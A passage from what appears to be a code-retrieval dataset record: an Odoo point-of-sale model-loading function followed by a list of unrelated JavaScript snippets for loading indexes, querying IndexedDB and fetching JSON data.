model.domain(self,tmp) : model.domain;\n var context = typeof model.context === 'function' ? model.context(self,tmp) : model.context;\n var ids = typeof model.ids === 'function' ? model.ids(self,tmp) : model.ids;\n progress += progress_step;\n\n if( model.model ){\n if (model.ids) {\n var records = new instance.web.Model(model.model).call('read',[ids,fields],context);\n } else {\n var records = new instance.web.Model(model.model).query(fields).filter(domain).context(context).all()\n }\n records.then(function(result){\n try{ // catching exceptions in model.loaded(...)\n\n result_filtered = []\n if(model.model == \"product.product\")\n {\n for(var i = 0; i < result.length; i++)\n {\n //Filtrando los productos que tengan stock >0, que no tengan una compañia\n //o que tengan una compañia asignada y coincida con la que tiene configurada el\n //punto de venta\n if(result[i].stock_qty > 0 && (result[i].company_id == false || (result[i].company_id != false && result[i].company_id[0] == self.config.company_id[0])))\n {\n result_filtered.push(result[i]);\n }\n }\n result = result_filtered;\n }\n\n $.when(model.loaded(self,result,tmp))\n .then(function(){ load_model(index + 1); },\n function(err){ loaded.reject(err); });\n }catch(err){\n loaded.reject(err);\n }\n },function(err){\n loaded.reject(err);\n });\n }else if( model.loaded ){\n try{ // catching exceptions in model.loaded(...)\n $.when(model.loaded(self,tmp))\n .then( function(){ load_model(index +1); },\n function(err){ loaded.reject(err); });\n }catch(err){\n loaded.reject(err);\n }\n }else{\n load_model(index + 1);\n }\n }\n }"],"string":"[\n \"async getCurentIndex() {\\n\\n this.check()\\n return await this.storage.loadIndex()\\n }\",\n \"async loadIndex() {\\n const indexURL = this.config.indexURL;\\n let indexFilename;\\n if (isFilePath(indexURL)) {\\n indexFilename = indexURL.name;\\n } else {\\n const uriParts = parseUri(indexURL);\\n indexFilename = uriParts.file;\\n }\\n const isTabix = indexFilename.endsWith(\\\".tbi\\\") || this.filename.endsWith('.gz') || this.filename.endsWith('.bgz')\\n let index;\\n if (isTabix) {\\n index = await loadBamIndex(indexURL, this.config, true, this.genome);\\n } else {\\n index = await loadTribbleIndex(indexURL, this.config, this.genome);\\n }\\n return index;\\n }\",\n \"async function getIndexes() {\\n return await fetch('https://api.coingecko.com/api/v3/indexes').then(res => res.json());\\n }\",\n \"static loadProjectIndex(projectId) {\\n return Promise( (resolve, reject) => {\\n const url = ProjectIndex.APIUrlForProject(projectId);\\n fetch(url).then( (response) => {\\n if (response.status !== 200) reject(response.status);\\n try {\\n const json = response.json();\\n const index = new ProjectIndex(\\\"/\\\", json.project);\\n resolve(index);\\n } catch (error) {\\n reject(error);\\n }\\n })\\n }\\n\\n static APIUrlForProject(projectId) {\\n return `/API/getProjectIndex/${projectId}`;\\n }\",\n \"function load() {\\n return Promise.all([storage.getTree(), storage.getTokenIndex(), storage.getEntries()])\\n .then(function(result) {\\n console.log('load results')\\n tree = result[0];\\n dbIndex = new Index(result[1]);\\n entries = result[2];\\n });\\n}\",\n \"async function loadData() {\\n // Get the health of the connection\\n let health = await connection.checkConnection();\\n\\n // Check the status of the connection\\n if (health.statusCode === 200) {\\n // Delete index\\n await connection.deleteIndex().catch((err) => {\\n console.log(err);\\n });\\n // Create Index\\n await connection.createIndex().catch((err) => {\\n console.log(err);\\n });\\n // If index exists\\n if (await connection.indexExists()) {\\n const parents = await rest.getRequest(rest.FlaskUrl + \\\"/N\\\");\\n // If parents has the property containing the files\\n if (parents.hasOwnProperty(\\\"data\\\")) {\\n //Retrieve the parent list\\n let parrentArray = parents.data;\\n\\n // Get amount of parents\\n NumberOfParents = parrentArray.length;\\n console.log(\\\"Number of parents to upload: \\\" + NumberOfParents);\\n // Each function call to upload a JSON object to the index\\n // delayed by 50ms\\n parrentArray.forEach(delayedFunctionLoop(uploadParentToES, 50));\\n }\\n }\\n } else {\\n console.log(\\\"The connection failed\\\");\\n }\\n}\",\n \"function getIndexId() {\\n return new Promise((resolve, reject) => {\\n fs.readFile(INDEX_FILE, (err, data) => {\\n if (err || data === undefined) {\\n reject(err);\\n } else {\\n const json = JSON.parse(data);\\n resolve(json.id);\\n }\\n });\\n });\\n}\",\n \"prepareIndiceForUpdate(indexData) {\\n return Promise.resolve();\\n }\",\n \"getActIndex() {\\n return __awaiter(this, void 0, void 0, function* () {\\n return yield this._handleApiCall(`${this.gameBaseUrlPath}/act`, 'Error fetching the act index.');\\n });\\n }\",\n \"async fetchExistingRecords () {\\n const client = getAlgoliaClient()\\n\\n // return an empty array if the index does not exist yet\\n const { items: indices } = await client.listIndices()\\n\\n if (!indices.find(index => index.name === this.name)) {\\n console.log(`index '${this.name}' does not exist!`)\\n return []\\n }\\n\\n const index = client.initIndex(this.name)\\n let records = []\\n\\n await index.browseObjects({\\n batch: batch => (records = records.concat(batch))\\n })\\n\\n return records\\n }\",\n \"async do(headers = {}) {\\n\\t\\tlet res = await this.c.get(\\\"/v2/assets/\\\" + this.index, {}, headers);\\n\\t\\treturn res.body;\\n\\t}\",\n \"function index() {\\n\\n return resource.fetch()\\n .then(function(data){ return data; });\\n }\",\n \"getByIndex(storeName, indexName, key) {\\n return from(new Promise((resolve, reject) => {\\n openDatabase(this.indexedDB, this.dbConfig.name, this.dbConfig.version)\\n .then((db) => {\\n validateBeforeTransaction(db, storeName, reject);\\n const transaction = createTransaction(db, optionsGenerator(DBMode.readonly, storeName, reject, resolve));\\n const objectStore = transaction.objectStore(storeName);\\n const index = objectStore.index(indexName);\\n const request = index.get(key);\\n request.onsuccess = (event) => {\\n resolve(event.target.result);\\n };\\n })\\n .catch((reason) => reject(reason));\\n }));\\n }\",\n \"async init() {\\n var that = this;\\n\\n var promise = new Promise(function(resolve, reject) {\\n\\n var req = indexedDB.open(that.db_name, that.version);\\n\\n req.onupgradeneeded = function(event) {\\n that.database = event.target.result;\\n //run callback method in createTable to add a new object table\\n that.upgrade();\\n };\\n\\n req.onsuccess = function (event) {\\n that.database = event.target.result;\\n resolve();\\n };\\n\\n req.onerror = function (error) {\\n if (req.error.name === \\\"VersionError\\\") {\\n //we can never be sure what version of the database the client is on\\n //therefore in the event that we request an older version of the db than the client is on, we will need to update the js version request on runtime\\n that.version++;\\n\\n //we need to initiate a steady increment of promise connections that either resolve or reject\\n that.init()\\n .then(function() {\\n //bubble the result\\n resolve();\\n })\\n .catch(function() {\\n //bubble the result: DOESNT WORK?\\n reject();\\n });\\n } else {\\n console.error(error);\\n }\\n };\\n });\\n return promise;\\n }\",\n \"async function getIndex() {\\n const contents = fs.readdirSync(`./${ipfs.host}/`);\\n iLog('Trying to load indices from local files ...');\\n for (i in contents) {\\n if (contents[i][0] === 'i' && !fs.statSync(`./${ipfs.host}/${contents[i]}`).isDirectory()) {\\n const indexFile = fs.readFileSync(`./${ipfs.host}/${contents[i]}`);\\n const indexDump = JSON.parse(indexFile);\\n global.indices[contents[i].substr(5,contents[i].length-10)] = elasticlunr.Index.load(indexDump);\\n }\\n }\\n try {\\n await fs.statSync(`./${ipfs.host}/hostedFiles.json`);\\n global.ipfsearch.hostedFiles = JSON.parse(await fs.readFileSync(`./${ipfs.host}/hostedFiles.json`));\\n } catch (e) { }\\n if (Object.keys(global.indices).length === 0) {\\n // file does not exist, create fresh index\\n iLog('No local indices exist, generating new index files ...');\\n const contents = fs.readdirSync(`./${ipfs.host}/`);\\n for (i in contents) {\\n if (fs.statSync(`./${ipfs.host}/${contents[i]}`).isDirectory()) {\\n global.indices[contents[i]] = createIndex();\\n await readFilesIntoObjects(contents[i], `./${ipfs.host}/${contents[i]}`);\\n // save the index\\n await saveIndex(global.indices[contents[i]], `./${ipfs.host}/index${contents[i]}.json`);\\n }\\n }\\n }\\n}\",\n \"function readIndexJson() {\\n return new Promise((resolve, reject) => {\\n fs.readFile(INDEX_FILE, (err, data) => {\\n if (err) reject(err);\\n const json = JSON.parse(data);\\n const promises = [];\\n Object.keys(json).forEach((lang) => {\\n if (LANG_SUPPORTED.includes(lang)) {\\n promises.push(getJson(json[lang].raw.DestinyStatDefinition, `${STAT_DIR}/${lang}.json`));\\n promises.push(getJson(json[lang].raw.DestinyClassDefinition, `${CLASS_DIR}/${lang}.json`));\\n promises.push(getJson(json[lang].items.Mod, `${MOD_DIR}/${lang}.json`));\\n promises.push(getJson(json[lang].raw.DestinyInventoryBucketDefinition, `${BUCKET_DIR}/${lang}.json`));\\n promises.push(getJson(json[lang].items.Armor, `${ARMOR_DIR}/${lang}.json`));\\n promises.push(getJson(json[lang].items.Weapon, `${WEAPON_DIR}/${lang}.json`));\\n }\\n });\\n Promise.all(promises)\\n .then(() => {\\n resolve();\\n })\\n .catch((pErr) => {\\n console.log(pErr);\\n reject(pErr);\\n });\\n });\\n });\\n}\",\n \"function loadIndex() {\\n\\tvar indexRequest = new XMLHttpRequest();\\n\\tindexRequest.open(\\\"GET\\\", \\\"https://mustang-index.azurewebsites.net/index.json\\\");\\n\\tindexRequest.onload = function() {\\n\\t\\tconsole.log(\\\"Index JSON file:\\\" + indexRequest.responseText);\\n\\t\\tcontactIndex = JSON.parse(indexRequest.responseText);\\n\\t\\tcontactURLArray.length = 0;\\n\\t\\tfor(i = 0; i < contactIndex.length; i++) {\\n\\t\\t\\tcontactURLArray.push(contactIndex[i].ContactURL);\\n\\t\\t}\\n\\t\\tconsole.log(\\\"ContactURLArray: \\\" + JSON.stringify(contactURLArray));\\n\\t\\trenderIndex(contactIndex);\\n\\t\\tshowSnackbar(\\\"Index loaded\\\");\\n\\t}\\n\\tindexRequest.send();\\n}\",\n \"async load(indexRootUrl, searchHint) {\\n const enumValueIds = searchHint;\\n const promises = enumValueIds.map(async (valueId) => {\\n const value = this.values[valueId];\\n if (value.dataRowIds)\\n return Promise.resolve();\\n const promise = loadCsv(joinUrl(indexRootUrl, value.url), {\\n dynamicTyping: true,\\n header: true\\n }).then(rows => rows.map(({ dataRowId }) => dataRowId));\\n value.dataRowIds = promise;\\n return promise;\\n });\\n await Promise.all(promises);\\n }\",\n \"async createIndexJson(url) {\\n \\treturn this.rs.readFolder(url).then(folder => {\\n \\t\\tvar promises = [];\\n \\t\\tthis.index = {};\\n \\t\\tif (folder.files.length == 0) {\\n \\t\\t\\tpromises.push(this.index)\\n \\t\\t} else {\\n\\t\\t\\t\\tlet i\\n\\t\\t\\t\\t\\tfor ( i = 0; i < folder.files.length ; i ++) {\\n\\t\\t\\t\\t\\t\\tlet file = folder.files[i].name.split(\\\".\\\");\\n\\t\\t\\t\\t\\t\\tif (file.pop() == \\\"ttl\\\") {\\n\\t\\t\\t\\t\\t\\t\\tvar title = file.join(\\\".\\\")\\n\\t\\t\\t\\t\\t\\t\\tpromises.push(\\n\\t\\t\\t\\t\\t\\t\\tthis.rs.rdf.query(url+title+\\\".ttl\\\")\\n\\t\\t\\t\\t\\t\\t\\t.then(queryRes => {\\n\\t\\t\\t\\t\\t\\t\\t\\tthis.jsonTiddler(queryRes)\\n\\t\\t\\t\\t\\t\\t\\t\\tdelete this.tiddlerJson[\\\"text\\\"]\\n\\t\\t\\t\\t\\t\\t\\t\\tthis.index[this.tiddlerJson[\\\"title\\\"]] = this.tiddlerJson;\\n\\t\\t\\t\\t\\t\\t\\t},err => {alert(\\\"title \\\"+err)})\\n\\t\\t\\t\\t\\t\\t\\t\\n\\t\\t\\t\\t\\t\\t\\t)\\n\\t\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t\\t}\\n\\t\\t\\t\\t}\\n\\t\\t\\t\\treturn Promise.all(promises).then( success => {\\n\\t\\t\\t\\t\\treturn this.index\\n\\t\\t\\t},err => {alert(\\\"Are some .ttl files not tiddlers ??? \\\\n\\\"+err)})\\n \\t})\\n }\",\n \"function load(index) {\\n return loadInternal(index, viewData);\\n}\",\n \"indexPage(req) {\\n return __awaiter(this, void 0, void 0, function* () {\\n });\\n }\",\n \"prepareIndiceForInstall(indexData) {\\n return Promise.resolve();\\n }\",\n \"getCachedDataByIndex(storename, index, key) {\\n return this.cache.then((db) => {\\n return db.transaction(storename).objectStore(storename).index(index).getAll(key);\\n });\\n }\",\n \"_updateIndex() {\\n return __awaiter(this, void 0, void 0, function* () {\\n //creates index file if it doesn't already exist\\n let inCouch = yield this._isInCouch(\\\"index\\\", \\\"index\\\");\\n if (!inCouch) {\\n yield this.couchdb.createDatabase(\\\"index\\\");\\n yield this.couchdb.createDocument(\\\"index\\\", {}, \\\"index\\\");\\n }\\n let data = yield readFile(path.join(this.localRepoPath, \\\"/EventIndex.json\\\"), \\\"utf8\\\");\\n let json = JSON.parse(data.replace(/&quot;/g, '\\\\\\\\\\\"'));\\n let events = json[\\\"Events\\\"];\\n events.sort(function (a, b) {\\n return Date.parse(b.StartDate) - Date.parse(a.StartDate);\\n });\\n let couchDocument = yield this.couchdb.getDocument(\\\"index\\\", \\\"index\\\");\\n yield this.couchdb.createDocument(\\\"index\\\", { Events: events, \\\"_rev\\\": couchDocument.data[\\\"_rev\\\"] }, \\\"index\\\");\\n });\\n }\",\n \"async getLoadOperation() {}\",\n \"function loadIndex() {\\n var idxFile = this.indexURL;\\n\\n if (this.filename.endsWith(\\\".gz\\\")) {\\n if (!idxFile) idxFile = this.url + \\\".tbi\\\";\\n return igv.loadBamIndex(idxFile, this.config, true);\\n } else {\\n if (!idxFile) idxFile = this.url + \\\".idx\\\";\\n return igv.loadTribbleIndex(idxFile, this.config);\\n }\\n }\",\n \"loadIndexPage () {\\n return Promise.resolve(Request.httpGet(this.SiteUrl + this.DefaultPrefix, this.CharSet).then(res => {\\n let $ = cheerio.load(res.text);\\n let Navis = $('#sliderNav > li');\\n let Uid = new Date().getTime();\\n Navis.each((i, elem) => {\\n let _this = $(elem);\\n let _ChildNodes = _this.find('> ul >li');\\n let _SiteUrl = _this.find('>a').attr('href');\\n if (_SiteUrl === './') {\\n _SiteUrl = '../ssxx/'\\n }\\n\\n let _SiteReg = /^javascript:/ig;\\n this.ListNavis.push({\\n Uid: `${Uid}${i}`,\\n Section: _this.find('> a >span:first-child').text(),\\n SiteUrl: _SiteReg.test(_SiteUrl) ? '' : _SiteUrl,\\n HasChild: _ChildNodes && _ChildNodes.length > 0,\\n ChildNodes: _ChildNodes && _ChildNodes.toArray().map((item, index) => {\\n let _node = $(item).find('a');\\n let _group = _node.text();\\n let _uid = this.GroupDefine.has(_group) && this.GroupDefine.get(_group) || this.GroupDefine.set(_group, `${new Date().getTime()}${i}`).get(_group);\\n return {\\n Uid: _uid,\\n Group: _node.text(),\\n SiteUrl: _node.attr('href')\\n };\\n })\\n });\\n });\\n\\n /*保存首页数据*/\\n Request.saveJsonToFile(this.ListNavis, 'index.json', this.Group, [...this.GroupDefine]);\\n }).catch(err => {\\n console.error(err);\\n }));\\n }\",\n \"fetchIndex(){\\n return this.http.fetch('data/index.json?t=' + new Date().getTime())\\n .then(response=>{\\n //convert text to json\\n return response.json()\\n })\\n .then(json=>{\\n let infos = json;\\n return infos;\\n });\\n }\",\n \"function wrappedFetch() {\\n var wrappedPromise = {};\\n\\n var promise = new index_es(function (resolve, reject) {\\n wrappedPromise.resolve = resolve;\\n wrappedPromise.reject = reject;\\n });\\n\\n var args = new Array(arguments.length);\\n\\n for (var i = 0; i < args.length; i++) {\\n args[i] = arguments[i];\\n }\\n\\n wrappedPromise.promise = promise;\\n\\n index_es.resolve().then(function () {\\n return fetch.apply(null, args);\\n }).then(function (response) {\\n wrappedPromise.resolve(response);\\n }).catch(function (error) {\\n wrappedPromise.reject(error);\\n });\\n\\n return wrappedPromise;\\n}\",\n \"function page(index) {\\n var item = internal.loader.info(index),\\n res;\\n if (item) {\\n res = {\\n index: item.index,\\n data: item.cached,\\n loading: item.queued || item.loading || item.waiting,\\n cancel: item.cancel\\n };\\n } else {\\n res = null;\\n }\\n return res;\\n }\",\n \"getAddressIndex() {\\n return __awaiter(this, void 0, void 0, function* () {\\n return yield this.request(\\\"get_address_index\\\");\\n });\\n }\",\n \"async beginIndexRequest() {\\n const keyString = this.idsToIndex.shift();\\n const provider = this;\\n\\n this.pendingRequests += 1;\\n const identifier = await this.openmct.objects.parseKeyString(keyString);\\n const domainObject = await this.openmct.objects.get(identifier.key);\\n delete provider.pendingIndex[keyString];\\n try {\\n if (domainObject) {\\n await provider.index(identifier, domainObject);\\n }\\n } catch (error) {\\n console.warn('Failed to index domain object ' + keyString, error);\\n }\\n\\n setTimeout(function () {\\n provider.pendingRequests -= 1;\\n provider.keepIndexing();\\n }, 0);\\n }\",\n \"indexCountry() {\\n return new Promise(function (resolve, reject) {\\n logger.info('indexCountry() Initiated')\\n let sql = sqlObj.dashboardStatus.indexCountry;\\n dbInstance.doRead(sql)\\n .then(result => {\\n logger.info('indexCountry() Exited Successfully')\\n resolve(result);\\n })\\n .catch(err => {\\n logger.error('indexCountry() Error')\\n reject(err);\\n })\\n })\\n }\",\n \"async getBlockByIndex() {\\r\\n this.server.route({\\r\\n method: 'GET',\\r\\n path: '/api/block/{index}',\\r\\n handler: async (request, h) => {\\r\\n let block = await this.blockChain.getBlock(request.params.index);\\r\\n if(!block){\\r\\n throw Boom.notFound(\\\"Block not found.\\\");\\r\\n }else{\\r\\n return block;\\r\\n }\\r\\n }\\r\\n });\\r\\n }\",\n \"function load(index) {\\n return loadInternal(getLView(), index);\\n}\",\n \"function load(index) {\\n return loadInternal(getLView(), index);\\n}\",\n \"async load () {}\",\n \"function asyncGet() {\\n return new Promise(function (success, fail) {\\n let xhr = new XMLHttpRequest();\\n xhr.open(\\\"GET\\\", rootURL + \\\"list\\\", true);\\n xhr.onload = () => {\\n if (xhr.status === 200)\\n success(JSON.parse(xhr.responseText));\\n else fail(alert(xhr.statusText));\\n };\\n xhr.onerror = () => fail(alert(xhr.statusText));\\n xhr.send();\\n });\\n}\",\n \"async index () {\\n const transactions = await Transaction.all();\\n return transactions;\\n }\",\n \"async index () {\\n const abastecimento = await Abastecimento.all();\\n\\n return abastecimento;\\n }\",\n \"initDB(tables) {\\n let self = this;\\n return new Promise(function (resolve, reject) {\\n let req = self.indexDbApi.open(self.dbName, self.dbV);\\n let db;\\n let tableNames = Object.keys(tables);\\n let tableIndexes = Object.values(tables);\\n\\n req.onerror = function (e) {\\n console.log('DB init Error');\\n reject(e);\\n };\\n req.onsuccess = function (e) {\\n db = e.target.result;\\n console.log('DB init Success');\\n setTimeout(function () {\\n resolve(db);\\n }, 100);\\n };\\n req.onupgradeneeded = function (e) {\\n db = e.target.result;\\n let store;\\n for (let i = 0; i < tableNames.length; i++) {\\n if (!db.objectStoreNames.contains(tableNames[i])) {\\n store = db.createObjectStore(tableNames[i], {keyPath: self.keyPath, autoIncrement: false});\\n console.log('TABLE ' + tableNames[i] + ' created Success');\\n }\\n for (let j = 0; j < tableIndexes[i].length; j++) {\\n store.createIndex(tableIndexes[i][j][0], tableIndexes[i][j][0], {unique: tableIndexes[i][j][1]});\\n }\\n }\\n console.log(\\\"onupgradeneeded\\\");\\n };\\n });\\n\\n }\",\n \"function syncIt() {\\n return getIndexedDB()\\n .then(sendToServer)\\n .catch(function(err) {\\n return err;\\n })\\n}\",\n \"_nextLoadHandler(handlers, index=0) {\\n return utils.promise.result(this._executeLoadHandler(handlers[index]))\\n .then(() => ++index === handlers.length ? Promise.resolve() : this._nextLoadHandler(handlers, index));\\n }\",\n \"function syncDatabaseIndexDB() {\\n\\n //initialises the indexedDB database\\n initDatabase();\\n\\n fetch('/index/events')\\n .then(response => {\\n return response.json();\\n })\\n .then(events => {\\n clearEvent();\\n addEvents(events);\\n })\\n .catch(err => {\\n\\n });\\n fetch('/index/stories')\\n .then(response => {\\n return response.json();\\n })\\n .then(stories => {\\n clearStory();\\n addStories(stories)\\n //console.log(events);\\n })\\n .catch(err => {\\n\\n });\\n}\",\n \"function getIndex(){\\n var xhr = new XMLHttpRequest();\\n xhr.open(\\\"GET\\\", '/getIndex', true);\\n xhr.onreadystatechange= function() {\\n if (this.readyState!==4) return; // not ready yet\\n if (this.status===200) { // HTTP 200 OK\\n index =this.response;\\n getRetrieve();\\n } else {\\n alert(\\\"not working!\\\");\\n }\\n };\\n xhr.send(null);\\n}\",\n \"checkIndex(indexName) {\\n return this.indexExists(indexName)\\n .then(found => found ? Promise.resolve() : Promise.reject(new errors.InternalServerError('Index not created.')));\\n }\",\n \"function dbIndexQuery(index, indexName){\\n var tx = dbRequest.result.transaction('task')\\n var store = tx.objectStore('task');\\n const statusIndex= store.index(index);\\n const getStatus=statusIndex.getAll(indexName);\\n\\n getStatus.onsuccess=(e)=>{\\n\\n let web= e.target.result\\n let webKey=getStatus.key\\n web.map((pend)=>{\\n createLi(pend.time,pend.task,pend.status,activityDisplay)\\n console.log(web)\\n\\n })\\n }\\n }\",\n \"getPairsIndex() {\\n return tslib_1.__awaiter(this, void 0, void 0, function* () {\\n return yield this.getRestData('/pairs');\\n });\\n }\",\n \"function testFunc(index) {\\n return new Promise(function (resolve) {\\n setTimeout(() => resolve(index), Math.random() * 11);\\n });\\n}\",\n \"indexExists(indexName) {\\n return new Promise((resolve, reject) => {\\n this.client.indices.exists({index: indexName}, (err, found) => {\\n if (err) reject(err);\\n resolve(found);\\n });\\n });\\n }\",\n \"function DISABLEDsetup_database_objects_table_async(indexedDbName, objectStoreName, keyId_json_path,table_id, node, table_conf, header_conf,column_conf) {\\n\\n\\t/*\\n\\t * indexedDbName\\n\\t * objectStore\\n\\t * \\n\\t * \\n\\t */\\n\\ttry {\\n\\t return new Promise(\\n\\t\\t function (resolve, reject) {\\n\\n\\t\\n//var table_conf = JSON.parse(JSON.stringify(t));\\n//var header_conf = JSON.parse(JSON.stringify(h));\\n//var column_conf = JSON.parse(JSON.stringify(c));\\n\\n\\nconsole.debug(\\\"# setup_database_objects_table\\\" );\\n //console.debug(\\\"objectStore: \\\" + objectStoreName);\\n//console.debug(\\\"indexedDbName: \\\" + indexedDbName);\\n // console.debug(\\\"node: \\\" + JSON.stringify(node));\\n\\t\\n //console.debug(\\\"table_conf: \\\" + JSON.stringify(table_conf));\\n //console.debug(\\\"header_conf: \\\" + JSON.stringify(header_conf));\\n //console.debug(\\\"column_conf: \\\" + JSON.stringify(column_conf));\\n\\n \\n // ##########\\n // list all objects in db\\n // ##########\\n\\n\\n // var table_obj = createTable(table_conf, key);\\n\\n var div_table_obj = document.createElement(\\\"div\\\");\\n div_table_obj.setAttribute(\\\"class\\\", \\\"tableContainer\\\");\\n var table_obj = document.createElement(\\\"table\\\");\\n\\n table_obj.setAttribute(\\\"class\\\", \\\"scrollTable\\\");\\n table_obj.setAttribute(\\\"width\\\", \\\"100%\\\");\\n table_obj.setAttribute(\\\"id\\\", table_id);\\n table_obj.setAttribute(\\\"indexedDbName\\\", indexedDbName);\\n table_obj.setAttribute(\\\"objectStoreName\\\", objectStoreName);\\n \\n\\n div_table_obj.appendChild(table_obj);\\n\\n var thead = document.createElement(\\\"thead\\\");\\n thead.setAttribute(\\\"class\\\", \\\"fixedHeader\\\");\\n thead.appendChild(writeTableHeaderRow(header_conf));\\n\\n table_obj.appendChild(thead);\\n\\n node.appendChild(table_obj);\\n\\n var tbody = document.createElement(\\\"tbody\\\");\\n tbody.setAttribute(\\\"class\\\", \\\"scrollContent\\\");\\n \\n node.appendChild(tbody);\\n\\n var dbRequest = indexedDB.open(indexedDbName);\\n dbRequest.onerror = function (event) {\\n reject(Error(\\\"Error text\\\"));\\n };\\n\\n dbRequest.onupgradeneeded = function (event) {\\n // Objectstore does not exist. Nothing to load\\n event.target.transaction.abort();\\n reject(Error('Not found'));\\n };\\n\\n \\n dbRequest.onsuccess = function (event) {\\n var database = event.target.result;\\n var transaction = database.transaction(objectStoreName, 'readonly');\\n var objectStore = transaction.objectStore(objectStoreName);\\n\\n if ('getAll' in objectStore) {\\n // IDBObjectStore.getAll() will return the full set of items\\n // in our store.\\n objectStore.getAll().onsuccess = function (event) {\\n const res = event.target.result;\\n // console.debug(res);\\n for (const url of res) {\\n\\n const tr = writeTableRow(url, column_conf, keyId_json_path);\\n\\n // create add row to table\\n\\n tbody.appendChild(tr);\\n\\n }\\n\\n };\\n // add a line where information on a new key can be added to\\n // the database.\\n // document.querySelector(\\\"button.onAddDecryptionKey\\\").onclick\\n // = this.onAddDecryptionKey;\\n\\n } else {\\n // Fallback to the traditional cursor approach if getAll\\n // isn't supported.\\n \\n var timestamps = [];\\n objectStore.openCursor().onsuccess = function (event) {\\n var cursor = event.target.result;\\n if (cursor) {\\n console.debug(cursor.value);\\n // timestamps.push(cursor.value);\\n cursor.continue();\\n } else {\\n // logTimestamps(timestamps);\\n }\\n };\\n\\n \\n }\\n\\n };\\n table_obj.appendChild(tbody);\\n node.appendChild(table_obj);\\n resolve (div_table_obj);\\n\\n \\n});\\n} catch (e) {\\n console.debug(e)\\n}\\n\\n\\n}\",\n \"static LoadFromMemoryAsync() {}\",\n \"async loadData() {\\n if (!this.load_data) throw new Error('no load data callback provided');\\n\\n return await Q.nfcall(this.load_data);\\n }\",\n \"getFullList() {\\n return new Promise((resolve) => {\\n // get first page to refresh total page count\\n this.getPageData(1).then((firstPage) => {\\n const pages = { 1: firstPage };\\n // save totalPages as a constant to avoid race condition with pages added during this\\n // process\\n const { totalPages } = this;\\n\\n if (totalPages <= 1) {\\n resolve(firstPage);\\n } else {\\n // now fetch all the missing pages\\n Array.from(new Array(totalPages - 1), (x, i) => i + 2).forEach((pageNum) => {\\n this.getPageData(pageNum).then((newPage) => {\\n pages[pageNum] = newPage;\\n // look if all pages were collected\\n const missingPages = Array.from(new Array(totalPages), (x, i) => i + 1)\\n .filter((i) => !(i in pages));\\n if (missingPages.length === 0) {\\n // collect all the so-far loaded pages in order (sorted keys)\\n // and flatten them into 1 array\\n resolve([].concat(...Object.keys(pages).sort().map((key) => pages[key])));\\n }\\n });\\n });\\n }\\n });\\n });\\n }\",\n \"static LoadFromFileAsync() {}\",\n \"function load(index){return loadInternal(getLView(),index);}\",\n \"load() {\\n return Object(tslib__WEBPACK_IMPORTED_MODULE_0__[\\\"__awaiter\\\"])(this, void 0, void 0, function* () { });\\n }\",\n \"getFullList() {\\n return new Promise((resolve) => {\\n // get first page to refresh total page count\\n this.getPageData(1).then((firstPage) => {\\n const pages = { 1: firstPage };\\n // save totalPages as a constant to avoid race condition with pages added during this\\n // process\\n const { totalPages } = this;\\n\\n if (totalPages === 1) {\\n resolve(firstPage);\\n }\\n\\n // now fetch all the missing pages\\n Array.from(new Array(totalPages - 1), (x, i) => i + 2).forEach((pageNum) => {\\n this.getPageData(pageNum).then((newPage) => {\\n pages[pageNum] = newPage;\\n // look if all pages were collected\\n const missingPages = Array.from(new Array(totalPages), (x, i) => i + 1).filter(\\n i => !(i in pages),\\n );\\n // eslint-disable-next-line no-console\\n console.log('missingPages', missingPages);\\n if (missingPages.length === 0) {\\n // collect all the so-far loaded pages in order (sorted keys)\\n // and flatten them into 1 array\\n resolve([].concat(...Object.keys(pages).sort().map(key => pages[key])));\\n }\\n });\\n });\\n });\\n });\\n }\",\n \"async loadSearch() {\\n let fs = this;\\n return fetchJSONFile(fs.index, function(data) {\\n //data = data.filter(function(page) {\\n // return page.lang == document.documentElement.lang;\\n //})\\n fs.fuse = new Fuse(data, fs.fuseConfig);\\n fs.isInit = true;\\n console.log(\\\"hugo-fuse-search: Fuse.js was succesfuly instantiated.\\\");\\n }, function(status, statusText) {\\n console.log(\\\"hugo-fuse-search: retrieval of index file was unsuccesful (\\\\\\\"\\\" + fs.index + \\\"\\\\\\\": \\\" + status + \\\" - \\\" + statusText + \\\")\\\")\\n });\\n }\",\n \"function gvpLoadPromise () {\\n if (context.uriAddressableDefsEnabled) {\\n return Promise[\\\"resolve\\\"]();\\n } else {\\n return context.globalValueProviders.loadFromStorage();\\n }\\n }\",\n \"async function index(req, res) {}\",\n \"async index () {\\n const status = await VisitaStatus.all();\\n return status;\\n }\",\n \"resolveWhenListIsPopulated(fn, orderedList, index, ctx) {\\n\\t\\tconst _promise = new Promise(function(resolve) {\\n\\t\\t\\tconst _resolve = resolve;\\n\\t\\t\\tfn(orderedList, index, ctx, _resolve);\\n\\t\\t});\\n\\t\\treturn _promise;\\n\\t}\",\n \"loadState() {\\n return Promise.resolve();\\n }\",\n \"async index({ request, response, view }) {\\n return await Bebida.all();\\n }\",\n \"function LoadPaneDataAsync(pane_index, callback) {\\n if (pane_index < 0 && pane_index > pane_count - 1) return;\\n if (paneStatuses[\\\"p\\\" + pane_index]) return;\\n\\n $.ajax({\\n url: options.url,\\n data: { pn: pane_index + 1, cid: options.currSort },\\n dataType: \\\"json\\\",\\n error: function (jqXHR, textStatus, errorThrown) { },\\n //complete: function (jqXHR, textStatus) { loading = false; },\\n success: function (data, status) {\\n if (data.code > 0) {\\n paneDatas[\\\"_\\\" + pane_index] = data.dataItem;\\n _loadPaneDataHandler(pane_index, data.dataItem);\\n callback && callback();\\n }\\n }\\n });\\n }\",\n \"getBlockByIndex() {\\n this.server.route({\\n method: 'GET',\\n path: '/block/{index}',\\n handler: (request, h) => {\\n return new Promise ((resolve,reject) => {\\n const blockIndex = request.params.index ?\\n encodeURIComponent(request.params.index) : -1;\\n if (isNaN(blockIndex)) { \\n reject(Boom.badRequest());\\n } else {\\n this.blockChain.getBlockHeight().then((chainHeight)=>{\\n if (blockIndex <=chainHeight && blockIndex >-1)\\n {\\n this.blockChain.getBlock(blockIndex).then ((block)=>{\\n resolve(block);\\n });\\n } else {\\n reject(Boom.badRequest());\\n }\\n });\\n }\\n });\\n }\\n });\\n }\",\n \"async fetchQueue( endpoint ){\\n\\t\\treturn await axios.get( endpoint )\\n\\t}\",\n \"async index () {\\n const properties = Property.all() \\n return properties\\n }\",\n \"function _getIndexedDB(callback) {\\n var transaction = _newIDBTransaction();\\n var objStore = transaction.objectStore('offlineItems');\\n var keyRange = IDBKeyRange.lowerBound(0);\\n var cursorRequest = objStore.index('byDate').openCursor(keyRange);\\n var returnableItems = [];\\n transaction.oncomplete = function(e) { callback(returnableItems); };\\n 